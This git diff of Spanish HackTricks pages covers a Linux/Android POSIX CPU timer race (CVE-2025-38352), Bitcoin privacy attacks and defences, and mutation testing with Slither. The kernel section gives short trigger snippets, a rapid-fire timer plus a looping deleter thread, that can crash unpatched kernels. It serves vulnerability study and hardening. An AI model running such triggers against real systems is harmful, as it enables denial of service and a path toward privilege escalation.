- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

94
src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
View File

@ -1,19 +1,19 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Esta página documenta una TOCTOU race en Linux/Android POSIX CPU timers que puede corromper el estado del timer y provocar el crash del kernel, y bajo ciertas circunstancias puede dirigirse hacia privilege escalation.
Esta página documenta una condición de carrera TOCTOU en Linux/Android POSIX CPU timers que puede corromper el estado del timer y provocar el crash del kernel, y bajo ciertas circunstancias poder dirigirse hacia privilege escalation.
- Componente afectado: kernel/time/posix-cpu-timers.c
- Primitiva: expiry vs deletion race under task exit
- Dependiente de la configuración: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
- Sensible a la configuración: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Breve repaso interno (relevante para exploitation)
- Tres relojes de CPU impulsan el accounting de los timers vía cpu_clock_sample():
Breve resumen interno (relevant for exploitation)
- Tres relojes CPU gestionan la contabilidad de timers vía cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- La creación del timer enlaza un timer a una tarea/pid e inicializa los nodos de timerqueue:
- La creación del timer vincula un timer a una task/pid e inicializa los timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
@ -27,7 +27,7 @@ rcu_read_unlock();
return 0;
}
```
- Arming inserta entradas en una per-base timerqueue y puede actualizar la next-expiry cache:
- Arming inserta en una per-base timerqueue y puede actualizar la next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
@ -50,7 +50,7 @@ return true;
return false;
}
```
- Expiration recopila timers expirados, los marca como disparados, los mueve fuera de la cola; la entrega real se difiere:
- Expiración recopila timers expirados, los marca como disparados, los mueve fuera de la cola; la entrega real se pospone:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -69,8 +69,8 @@ return U64_MAX;
}
```
Dos modos de procesamiento de expiración
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la expiración se difiere mediante task_work en la tarea objetivo
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la expiración se maneja directamente en el contexto de IRQ
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la expiración se pospone vía task_work en la tarea objetivo
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la expiración se maneja directamente en el contexto IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
@ -114,44 +114,44 @@ spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Causa raíz: TOCTOU entre la expiración en tiempo de IRQ y la eliminación concurrente durante la salida de la tarea
Precondiciones
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK está deshabilitado (se usa la ruta IRQ)
- La tarea objetivo está saliendo pero no ha sido completamente recolectada
- Otro hilo llama concurrentemente a posix_cpu_timer_del() para el mismo timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Secuencia
1) update_process_times() dispara run_posix_cpu_timers() en contexto IRQ para la tarea que está saliendo.
2) collect_timerqueue() asigna ctmr->firing = 1 y mueve el timer a la lista temporal de firing.
3) handle_posix_cpu_timers() suelta sighand vía unlock_task_sighand() para entregar timers fuera del lock.
4) Inmediatamente después del unlock, la tarea que está saliendo puede ser recolectada; un hilo paralelo ejecuta posix_cpu_timer_del().
5) En esta ventana, posix_cpu_timer_del() puede fallar al adquirir el estado vía cpu_timer_task_rcu()/lock_task_sighand() y por tanto omitir la protección normal en vuelo que comprueba timer->it.cpu.firing. La eliminación procede como si timer->it.cpu.firing no estuviera establecido, corrompiendo el estado mientras se maneja la expiración, lo que conduce a bloqueos/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Por qué el modo TASK_WORK es seguro por diseño
- Con CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, la expiración se difiere a task_work; exit_task_work se ejecuta antes de exit_notify, por lo que no ocurre la superposición en tiempo de IRQ con la recolección.
- Aun así, si la tarea ya está saliendo, task_work_add() falla; condicionar en exit_state hace que ambos modos sean consistentes.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
Solución (Android common kernel) y justificación
- Agregar un retorno temprano si la tarea actual está saliendo, condicionando todo el procesamiento:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Esto evita entrar en handle_posix_cpu_timers() para tareas que están saliendo, eliminando la ventana donde posix_cpu_timer_del() podría pasar por alto it.cpu.firing y race con el procesamiento de expiración.
- Esto evita entrar en handle_posix_cpu_timers() para tareas que están saliendo, eliminando la ventana donde posix_cpu_timer_del() podría perder it.cpu.firing y competir con el procesamiento de expiración.
Impact
- La corrupción de memoria del kernel de las timer structures durante la expiración/eliminación concurrente puede provocar fallos inmediatos (DoS) y es una primitiva potente hacia privilege escalation debido a las oportunidades de manipular arbitrariamente el estado del kernel.
Impacto
- La corrupción de memoria del kernel de las estructuras de timer durante expiración/eliminación concurrente puede causar fallos inmediatos (DoS) y es una primitiva potente hacia la escalada de privilegios debido a las oportunidades de manipulación arbitraria del estado del kernel.
Triggering the bug (safe, reproducible conditions)
Activación del bug (condiciones seguras y reproducibles)
Build/config
- Asegúrate de CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n y usa un kernel sin el fix de gating de exit_state.
- Asegúrate de CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n y usa un kernel sin la corrección de gating de exit_state.
Runtime strategy
- Apunta a un hilo que esté a punto de salir y adjunta un CPU timer a él (reloj por hilo o a nivel de proceso):
Estrategia en tiempo de ejecución
- Apunta a un hilo que esté a punto de salir y adjunta un CPU timer a él (por hilo o reloj a nivel de proceso):
- Para por-hilo: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Para a nivel de proceso: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arma el timer con una expiración inicial muy corta y un intervalo pequeño para maximizar las entradas en la ruta IRQ-path:
- Para nivel de proceso: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Pónlo en marcha con una expiración inicial muy corta y un intervalo pequeño para maximizar las entradas en la ruta IRQ:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -165,31 +165,31 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Desde un hilo hermano, eliminar concurrentemente el mismo temporizador mientras el hilo objetivo termina:
- Desde un sibling thread, eliminar concurrentemente el mismo timer mientras el target thread sale:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Amplificadores de race: alta tasa de ticks del scheduler, carga de CPU elevada, ciclos repetidos de salida/recreación de hilos. El crash típicamente se manifiesta cuando posix_cpu_timer_del() deja de notar el firing debido a que falla la búsqueda/bloqueo de la tarea justo después de unlock_task_sighand().
- Amplificadores de race: alta tasa de scheduler ticks, carga de CPU, ciclos repetidos de salida/re-creación de hilos. El crash típicamente se manifiesta cuando posix_cpu_timer_del() omite detectar el firing debido a que falla la búsqueda/bloqueo de la task justo después de unlock_task_sighand().
Detección y endurecimiento
- Mitigación: aplicar el guard exit_state; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK cuando sea posible.
- Observabilidad: añadir tracepoints/WARN_ONCE alrededor de unlock_task_sighand()/posix_cpu_timer_del(); alertar cuando se observe it.cpu.firing==1 junto con fallos en cpu_timer_task_rcu()/lock_task_sighand(); vigilar inconsistencias en timerqueue alrededor de la salida de la tarea.
Detection and hardening
- Mitigation: aplicar la comprobación exit_state; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK cuando sea factible.
- Observability: añadir tracepoints/WARN_ONCE alrededor de unlock_task_sighand()/posix_cpu_timer_del(); alertar cuando se observe it.cpu.firing==1 junto con fallos en cpu_timer_task_rcu()/lock_task_sighand(); vigilar inconsistencias de timerqueue alrededor de la salida de la task.
Puntos clave de auditoría (para revisores)
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selección (TASK_WORK vs IRQ path)
- collect_timerqueue(): establece ctmr->firing y mueve nodos
- handle_posix_cpu_timers(): suelta sighand antes del bucle de firing
- posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiración en vuelo; esta comprobación se omite cuando la búsqueda/bloqueo de la tarea falla durante exit/reap
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notas para investigación de explotación
- El comportamiento divulgado es una primitiva fiable para provocar crash del kernel; convertirla en una escalada de privilegios suele requerir una superposición adicional controlable (object lifetime o influencia write-what-where) que queda fuera del alcance de este resumen. Trate cualquier PoC como potencialmente desestabilizadora y ejecútela solo en emuladores/VMs.
- El comportamiento divulgado es una primitiva fiable para provocar un kernel crash; convertirlo en una escalada de privilegios suele requerir una superposición controlable adicional (object lifetime o influencia write-what-where) fuera del alcance de este resumen. Tratar cualquier PoC como potencialmente desestabilizador y ejecutarlo solo en emulators/VMs.
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

146
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,176 +1,184 @@
# Blockchain y Criptomonedas
# Blockchain y Cripto-monedas
{{#include ../../banners/hacktricks-training.md}}
## Conceptos Básicos
## Conceptos básicos
- **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios.
- **Decentralized Applications (dApps)** se construyen sobre smart contracts, con un front-end amigable para el usuario y un back-end transparente y auditable.
- **Contratos inteligentes (Smart Contracts)** son programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios.
- **dApps (Decentralized Applications)** se construyen sobre contratos inteligentes, con un front-end amigable para el usuario y un back-end transparente y auditable.
- **Tokens & Coins** se diferencian en que las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos.
- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan la propiedad de un activo.
- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** representan la propiedad de un activo.
- **DeFi** significa Decentralized Finance, ofreciendo servicios financieros sin autoridades centrales.
- **DEX** y **DAOs** se refieren a Decentralized Exchange Platforms y Decentralized Autonomous Organizations, respectivamente.
- **DEX** y **DAOs** se refieren a plataformas de intercambio descentralizadas y organizaciones autónomas descentralizadas, respectivamente.
## Mecanismos de Consenso
## Mecanismos de consenso
Los mecanismos de consenso aseguran la validación segura y acordada de transacciones en la blockchain:
- **Proof of Work (PoW)** se basa en potencia computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** exige que los validators posean una cierta cantidad de tokens, reduciendo el consumo energético en comparación con PoW.
- **Proof of Work (PoW)** se basa en la potencia computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** requiere que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo energético en comparación con PoW.
## Bitcoin Essentials
## Conceptos esenciales de Bitcoin
### Transactions
### Transacciones
Las transacciones de Bitcoin implican transferir fondos entre direcciones. Las transacciones se validan mediante firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias.
#### Componentes clave:
- **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción.
- Las transacciones consisten en **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a miners) y **scripts** (reglas de la transacción).
- **Transacciones multifirma (Multisignature Transactions)** requieren múltiples firmas para autorizar una transacción.
- Las transacciones consisten en **inputs** (origen de los fondos), **outputs** (destino), **fees** (pagados a los miners) y **scripts** (reglas de la transacción).
### Lightning Network
Busca mejorar la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, publicando en la blockchain solo el estado final.
Busca mejorar la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, solo transmitiendo el estado final a la blockchain.
## Bitcoin Privacy Concerns
## Preocupaciones de privacidad en Bitcoin
Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al ocultar enlaces de transacción entre usuarios.
Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de las transacciones. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al ocultar los enlaces entre transacciones de diferentes usuarios.
## Acquiring Bitcoins Anonymously
## Adquisición anónima de Bitcoins
Los métodos incluyen intercambios en efectivo, mining y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones normales para mayor privacidad.
Los métodos incluyen cambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones normales para mayor privacidad.
# Bitcoin Privacy Atacks
# Ataques de privacidad en Bitcoin
# Resumen de los ataques a la privacidad de Bitcoin
# Resumen de ataques de privacidad en Bitcoin
En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios suelen ser motivo de preocupación. Aquí tienes una visión simplificada de varios métodos comunes mediante los cuales un atacante puede comprometer la privacidad en Bitcoin.
En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo motivo de preocupación. Aquí hay una visión simplificada de varios métodos comunes mediante los cuales los atacantes pueden comprometer la privacidad en Bitcoin.
## **Common Input Ownership Assumption**
## **Suposición de propiedad común de inputs (Common Input Ownership Assumption)**
Generalmente es raro que inputs de diferentes usuarios se combinen en una misma transacción debido a la complejidad involucrada. Por tanto, **dos direcciones de input en la misma transacción a menudo se asumen como pertenecientes al mismo propietario**.
Generalmente es raro que inputs de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **dos direcciones input en la misma transacción a menudo se asumen pertenecen al mismo propietario**.
## **UTXO Change Address Detection**
## **Detección de dirección de cambio UTXO (UTXO Change Address Detection)**
Un UTXO, o **Unspent Transaction Output**, debe gastarse completamente en una transacción. Si solo se envía una parte a otra dirección, el resto va a una nueva change address. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
Un UTXO (Unspent Transaction Output) debe gastarse completamente en una transacción. Si solo se envía una parte a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
### Ejemplo
Para mitigar esto, los servicios de mixing o el uso de múltiples direcciones pueden ayudar a obscurecer la propiedad.
Para mitigar esto, los servicios de mixing o el uso de múltiples direcciones pueden ayudar a ocultar la propiedad.
## **Social Networks & Forums Exposure**
## **Exposición en redes sociales y foros**
Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección con su propietario**.
Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que facilita **vincular la dirección con su propietario**.
## **Transaction Graph Analysis**
## **Análisis del grafo de transacciones**
Las transacciones pueden visualizarse como grafos, revelando conexiones potenciales entre usuarios según el flujo de fondos.
Las transacciones pueden visualizarse como grafos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heurística de input innecesario (Optimal Change Heuristic)**
Este heurístico se basa en analizar transacciones con múltiples inputs y outputs para adivinar cuál output es el cambio que regresa al remitente.
Esta heurística se basa en analizar transacciones con múltiples inputs y outputs para adivinar cuál output es el cambio que regresa al remitente.
### Ejemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Si añadir más entradas hace que la salida de cambio sea mayor que cualquier entrada individual, puede confundir a la heurística.
Si añadir más inputs hace que la salida de change sea más grande que cualquier input individual, puede confundir a la heurística.
## **Forced Address Reuse**
Los atacantes pueden enviar pequeñas cantidades a direcciones ya usadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones.
Los atacantes pueden enviar pequeñas cantidades a direcciones usadas anteriormente, con la esperanza de que el receptor las combine con otros inputs en transacciones futuras, enlazando así las direcciones entre sí.
### Correct Wallet Behavior
### Comportamiento correcto del wallet
Wallets deberían evitar usar monedas recibidas en direcciones vacías ya usadas para prevenir este privacy leak.
Las wallets deberían evitar usar coins recibidas en direcciones vacías ya usadas para prevenir este privacy leak.
## **Other Blockchain Analysis Techniques**
- **Exact Payment Amounts:** Las transacciones sin cambio probablemente sean entre dos direcciones pertenecientes al mismo usuario.
- **Round Numbers:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio.
- **Wallet Fingerprinting:** Diferentes wallets tienen patrones únicos al crear transacciones, lo que permite a los analistas identificar el software usado y potencialmente la dirección de cambio.
- **Amount & Timing Correlations:** Revelar los tiempos o montos de transacciones puede hacerlas rastreables.
- **Exact Payment Amounts:** Las transacciones sin change probablemente sean entre dos direcciones propiedad del mismo usuario.
- **Round Numbers:** Un número redondo en una transacción sugiere que es un pago, y la salida no redonda probablemente sea el change.
- **Wallet Fingerprinting:** Diferentes wallets tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software usado y potencialmente la dirección de change.
- **Amount & Timing Correlations:** Revelar los tiempos o montos de transacciones puede hacer a las transacciones rastreables.
## **Traffic Analysis**
Al monitorizar el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos Bitcoin, lo que mejora su capacidad para monitorizar transacciones.
Al monitorizar el tráfico de red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, lo que mejora su capacidad para supervisar transacciones.
## More
## Más
Para una lista completa de ataques y defensas de privacidad, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonymous Bitcoin Transactions
# Transacciones anónimas de Bitcoin
## Ways to Get Bitcoins Anonymously
## Formas de obtener Bitcoins de forma anónima
- **Cash Transactions**: Adquirir bitcoin en efectivo.
- **Cash Transactions**: Adquirir bitcoin con efectivo.
- **Cash Alternatives**: Comprar tarjetas regalo y cambiarlas en línea por bitcoin.
- **Mining**: El método más privado para ganar bitcoins es mediante minería, especialmente si se hace en solitario, porque los mining pools pueden conocer la IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de forma anónima, aunque es ilegal y no recomendable.
- **Mining**: El método más privado para obtener bitcoins es la minería, especialmente si se hace en solitario, ya que los mining pools pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: En teoría, robar bitcoin podría ser otro método para adquirirlo anónimamente, aunque es ilegal y no recomendable.
## Mixing Services
Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **bitcoins diferentes a cambio**, lo que dificulta rastrear al propietario original. Aun así, esto requiere confiar en que el servicio no guarde logs y que realmente devuelva los bitcoins. Opciones alternativas de mezcla incluyen casinos Bitcoin.
Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **bitcoins diferentes a cambio**, lo que complica rastrear al propietario original. Sin embargo, esto requiere confiar en que el servicio no guarde logs y que realmente devuelva los bitcoins. Opciones alternativas de mezclado incluyen casinos de Bitcoin.
## CoinJoin
**CoinJoin** combina múltiples transacciones de diferentes usuarios en una sola, complicando el proceso para quien intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños únicos de entradas y salidas aún pueden potencialmente ser rastreadas.
CoinJoin combina múltiples transacciones de distintos usuarios en una sola, complicando el proceso de emparejar inputs con outputs. A pesar de su efectividad, las transacciones con tamaños únicos de inputs y outputs aún pueden ser rastreadas potencialmente.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de los mineros.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disfraza la transacción entre dos partes (p. ej., un cliente y un comerciante) como una transacción normal, sin las salidas iguales distintivas características de CoinJoin. Esto la hace extremadamente difícil de detectar y podría invalidar la heurística common-input-ownership usada por entidades de vigilancia de transacciones.
Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (p. ej., un cliente y un comerciante) como una transacción normal, sin las salidas iguales distintivas características de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la common-input-ownership heuristic usada por entidades de vigilancia de transacciones.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin.
**La utilización de PayJoin podría perturbar significativamente los métodos tradicionales de vigilancia**, lo que la convierte en un avance prometedor en la búsqueda de privacidad transaccional.
**La utilización de PayJoin podría perturbar significativamente los métodos tradicionales de vigilancia**, convirtiéndolo en un avance prometedor en la búsqueda de privacidad transaccional.
# Mejores prácticas para la privacidad en criptomonedas
## **Técnicas de sincronización de wallet**
## **Técnicas de sincronización de wallets**
Para mantener la privacidad y la seguridad, sincronizar las wallets con la blockchain es crucial. Destacan dos métodos:
- **Full node**: Al descargar la blockchain completa, un full node garantiza la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, haciendo imposible que los adversarios identifiquen qué transacciones o direcciones interesan al usuario.
- **Client-side block filtering**: Este método consiste en crear filtros para cada bloque de la blockchain, permitiendo a las wallets identificar transacciones relevantes sin exponer intereses específicos a los observadores de la red. Las wallets ligeras descargan estos filtros, solo obteniendo bloques completos cuando se encuentra una coincidencia con las direcciones del usuario.
- **Full node**: Al descargar toda la blockchain, un nodo completo garantiza la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, haciendo imposible que los adversarios identifiquen cuáles transacciones o direcciones interesan al usuario.
- **Client-side block filtering**: Este método consiste en crear filtros para cada bloque de la blockchain, permitiendo a las wallets identificar transacciones relevantes sin exponer intereses específicos a los observadores de la red. Las wallets ligeras descargan estos filtros, solicitando bloques completos solo cuando hay una coincidencia con las direcciones del usuario.
## **Uso de Tor para anonimato**
## **Utilizar Tor para anonimato**
Dado que bitcoin opera en una red peer-to-peer, se recomienda usar Tor para ocultar tu dirección IP, mejorando la privacidad al interactuar con la red.
Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para ocultar tu dirección IP, mejorando la privacidad al interactuar con la red.
## **Evitar la reutilización de direcciones**
## **Prevenir la reutilización de direcciones**
Para proteger la privacidad, es vital usar una dirección nueva para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones con la misma entidad. Las wallets modernas desincentivan la reutilización de direcciones a través de su diseño.
Para salvaguardar la privacidad, es vital usar una dirección nueva para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones con la misma entidad. Las wallets modernas desalientan la reutilización de direcciones mediante su diseño.
## **Estrategias para la privacidad de las transacciones**
- **Multiple transactions**: Dividir un pago en varias transacciones puede oscurecer la cantidad, frustrando ataques contra la privacidad.
- **Change avoidance**: Optar por transacciones que no requieran outputs de cambio mejora la privacidad al dificultar los métodos de detección de cambio.
- **Multiple change outputs**: Si evitar el cambio no es factible, generar múltiples outputs de cambio aún puede mejorar la privacidad.
- **Múltiples transacciones**: Dividir un pago en varias transacciones puede ocultar el monto de la transacción, frustrando ataques de privacidad.
- **Evitación del cambio**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al dificultar los métodos de detección de cambio.
- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio todavía puede mejorar la privacidad.
# **Monero: Un faro de anonimato**
Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad.
Monero responde a la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad.
# **Ethereum: Gas y transacciones**
## **Comprendiendo Gas**
## **Entendiendo el gas**
Gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, valorado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un gas limit y una base fee, con un tip para incentivar a los mineros. Los usuarios pueden establecer un max fee para asegurarse de no pagar de más, con el exceso reembolsado.
El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, valorado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un gas limit y una base fee, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado.
## **Ejecución de transacciones**
Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de smart contracts. Requieren una fee y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, gas limit y fees. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de smart contracts. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Cabe destacar que la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Estas prácticas y mecanismos son fundamentales para cualquiera que quiera interactuar con criptomonedas mientras prioriza la privacidad y la seguridad.
Estas prácticas y mecanismos son fundamentales para cualquiera que quiera interactuar con criptomonedas priorizando la privacidad y la seguridad.
## Smart Contract Security
- Pruebas de mutación para encontrar puntos ciegos en los conjuntos de pruebas:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## Referencias
@ -183,7 +191,7 @@ Estas prácticas y mecanismos son fundamentales para cualquiera que quiera inter
## Explotación DeFi/AMM
Si investigas la explotación práctica de DEXes y AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consulta:
Si estás investigando la explotación práctica de DEXes y AMMs (Uniswap v4 hooks, abuso de redondeo/precisión, swaps de cruce de umbral amplificados por flash‑loan), consulta:
{{#ref}}
defi-amm-hook-precision.md

116
src/blockchain/smart-contract-security/mutation-testing-with-slither.md Normal file
View File

@ -0,0 +1,116 @@
# Pruebas de mutación para Solidity con Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
La prueba de mutación "prueba tus pruebas" introduciendo sistemáticamente pequeños cambios (mutantes) en tu código Solidity y volviendo a ejecutar tu suite de pruebas. Si una prueba falla, el mutante queda eliminado. Si las pruebas siguen pasando, el mutante sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de línea/rama no puede detectar.
Idea clave: la cobertura muestra que el código se ejecutó; la prueba de mutación muestra si el comportamiento realmente está verificado.
## Por qué la cobertura puede ser engañosa
Considera esta simple comprobación de umbral:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
